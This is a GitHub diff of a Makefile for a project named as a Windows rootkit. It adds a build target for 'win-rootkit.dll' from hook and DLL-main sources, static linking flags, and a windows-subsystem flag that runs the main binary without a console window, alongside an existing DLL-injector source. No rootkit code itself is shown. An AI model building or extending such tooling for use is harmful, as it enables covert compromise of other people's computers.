File tree Expand file tree Collapse file tree 1 file changed +19
-3
lines changed Expand file tree Collapse file tree 1 file changed +19
-3
lines changed Original file line number Diff line number Diff line change 1
1
cc = g++
2
2
3
- flags = -Wall --std=c++11
3
+ flags = -Wall --std=c++11 -static-libgcc -static-libstdc++
4
+ dllflags = -Wall --std=c++11
4
5
5
6
ifeq ($(debug ) , true)
6
7
flags += -g
7
8
endif
8
9
9
10
10
11
11
- all : rootkit test
12
+ all : rootkit test dll
12
13
13
14
14
15
@@ -17,7 +18,7 @@ rootkit_cppsources = src/main.cpp src/dll_injector.cpp
17
18
rootkit_cppobjects = $(rootkit_cppsources:.cpp=.o )
18
19
19
20
rootkit : $(rootkit_cppobjects )
20
- $(cc ) $(flags ) $(rootkit_cppobjects ) -o $(rootkit_target )
21
+ $(cc ) $(flags ) $(rootkit_cppobjects ) -o $(rootkit_target ) -Wl,-subsystem,windows
21
22
22
23
src/main.o : src/main.cpp
23
24
$(cc ) $(flags ) -c src/main.cpp -o src/main.o
@@ -27,6 +28,21 @@ src/dll_injector.o: src/dll_injector.cpp src/dll_injector.h
27
28
28
29
29
30
31
+ dll_target = win-rootkit.dll
32
+ dll_cppsources = src/dllmain.cpp src/hook.cpp
33
+ dll_cppobjects = $(dll_cppsources:.cpp=.o )
34
+
35
+ dll : $(dll_cppobjects )
36
+ $(cc ) $(dllflags ) $(dll_cppobjects ) -shared -o $(dll_target )
37
+
38
+ src/dllmain.o : src/dllmain.cpp
39
+ $(cc ) $(dllflags ) -c src/dllmain.cpp -o src/dllmain.o -DBUILDING_EXAMPLE_DLL
40
+
41
+ src/hook.o : src/hook.cpp
42
+ $(cc ) $(dllflags ) -c src/hook.cpp -o src/hook.o -DBUILDING_EXAMPLE_DLL
43
+
44
+
45
+
30
46
test_target =test.exe
31
47
32
48
test :
You can’t perform that action at this time.
0 commit comments